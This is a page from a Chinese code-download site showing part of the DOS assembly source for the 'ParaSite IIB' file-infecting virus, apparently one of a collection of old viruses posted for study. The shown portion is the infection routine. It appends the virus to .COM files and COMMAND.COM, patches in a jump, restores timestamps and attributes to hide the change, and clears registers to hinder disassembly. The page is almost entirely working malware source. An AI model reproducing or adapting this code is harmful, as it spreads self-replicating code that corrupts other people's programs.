⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 parasite.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
infect:                                                                  
        MOV     AH,3FH                                                   
        MOV     CX,3                                                     
        MOV     DX,first_3                                               
        ADD     DX,SI                                                    
        INT     21H             ;Save first 3 bytes into the data area   
        JB      fix_time_stamp                                           
        CMP     AX,3                                                     
        JNZ     fix_time_stamp                                           
        MOV     AX,OFFSET 4202H                                          
        MOV     CX,0                                                     
        MOV     DX,0                                                     
        INT     21H                                                      
        JB      fix_time_stamp                                           
        MOV     CX,AX                                                    
        SUB     AX,3                                                     
        MOV     [SI+jmp_dsp],AX                                          
        ADD     CX,OFFSET c_len_y                                        
        MOV     DI,SI                                                    
        SUB     DI,OFFSET c_len_x                                        
        JMP     CONT                                                     
JOE2:                                                                    
        JMP     JOE1                                                     
CONT:                                                                    
        MOV     [DI],CX                                                  
        MOV     AH,40H                                                   
        MOV_CX  virlen                                                   
        MOV     DX,SI                                                    
        SUB     DX,OFFSET codelen                                        
        INT     21H                                                      
        JB      fix_time_stamp                                           
        CMP     AX,OFFSET virlen                                         
        JNZ     fix_time_stamp                                           
        MOV     AX,OFFSET 4200H                                          
        MOV     CX,0                                                     
        MOV     DX,0                                                     
        INT     21H                                                      
        JB      fix_time_stamp                                           
        MOV     AH,40H                                                   
        MOV     CX,3                                                     
        MOV     DX,SI                                                    
        ADD     DX,jmp_op                                                
        INT     21H                                                      
                                                                         
fix_time_stamp:                                                          
        MOV     DX,[SI+ol_date]                                          
        MOV     CX,[SI+old_tim]                                          
        AND     CX,OFFSET 0FFE0H                                         
        OR      CX,1EH                                                   
        MOV     AX,OFFSET 5701H                                          
        INT     21H                                                      
        MOV     AH,3EH                                                   
        INT     21H                                                      
                                                                         
fix_attr:                                                                
        MOV     AX,OFFSET 4301H                                          
        MOV     CX,[SI+old_att]                                          
        MOV     DX,wrk_spc                                               
        ADD     DX,SI                                                    
        INT     21H                                                      
                                                                         
all_done:                                                                
        PUSH    DS                                                       
        MOV     AH,1AH                                                   
        MOV     DX,[SI+old_dta]                                          
        MOV     DS,[SI+old_dts]                                          
        INT     21H                                                      
        POP     DS                                                       
                                                                         
quit:                                                                    
        MOV     BX,OFFSET count                                          
        CMP     BX,0                                                     
        JB      joe2                                                     
        POP     CX                                                       
        XOR     AX,AX                   ;XOR values so that we will give 
        XOR     BX,BX                   ;poor sucker a hard time trying  
        XOR     DX,DX                   ;reassemble the source code if h 
        XOR     SI,SI                   ;decides to dissassemble us.     
        MOV     DI,OFFSET 0100H                                          
        PUSH    DI                                                       
        XOR     DI,DI                                                    
        RET     0FFFFH                  ;Return back to the beginning    
                                        ;of the program                  
                                                                         
vir_dat EQU     $                                                        
                                                                         
Aurther DB      "ParaSite IIB - By: Rock Steady"                         
olddta_ DW      0                                                        
olddts_ DW      0                                                        
oldtim_ DW      0                                                        
count_  DW      0                                                        
oldate_ DW      0                                                        
oldatt_ DW      0                                                        
first3_ EQU     $                                                        
        INT     20H                                                      
        NOP                                                              
jmpop_  DB      0E9H                                                     
jmpdsp_ DW      0                                                        
fspec_  DB      '*.COM',0                                                
fipec_  DB      'COMMAND.COM',0                                          
pathad_ DW      0                                                        
namptr_ DW      0                                                        
envstr_ DB      'PATH='                                                  
wrkspc_ DB      40h dup (0)                                              
dta_    DB      16h dup (0)                                              
dtatim_ DW      0,0                                                      
dtalen_ DW      0,0                                                      
dtanam_ DB      0Dh dup (0)                                              
buffer  DB      0CDh, 20h, 0, 0, 0, 0, 0, 0                              
orig_path DB    64 dup (?)                                               
root_dir DB     '\',0                                                    
lst_byt EQU     $                                                        
virlen  =       lst_byt - v_start                                        
codelen =       vir_dat - v_start                                        
c_len_x =       vir_dat - v_start - 2                                    
c_len_y =       vir_dat - v_start + 100H                                 
old_dta =       olddta_ - vir_dat                                        
old_dts =       olddts_ - vir_dat                                        
old_tim =       oldtim_ - vir_dat                                        
ol_date =       oldate_ - vir_dat                                        
old_att =       oldatt_ - vir_dat                                        
first_3 =       first3_ - vir_dat                                        
jmp_op  =       jmpop_  - vir_dat                                        
jmp_dsp =       jmpdsp_ - vir_dat                                        
f_spec  =       fspec_  - vir_dat                                        
f_ipec  =       fipec_  - vir_dat                                        
path_ad =       pathad_ - vir_dat                                        
nam_ptr =       namptr_ - vir_dat                                        
env_str =       envstr_ - vir_dat                                        
wrk_spc =       wrkspc_ - vir_dat                                        
dta     =       dta_    - vir_dat                                        
dta_tim =       dtatim_ - vir_dat                                        
dta_len =       dtalen_ - vir_dat                                        
dta_nam =       dtanam_ - vir_dat                                        
count   =       count_  - vir_dat                                        
         CODE    ENDS                                                    
END     VCODE                                                            

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -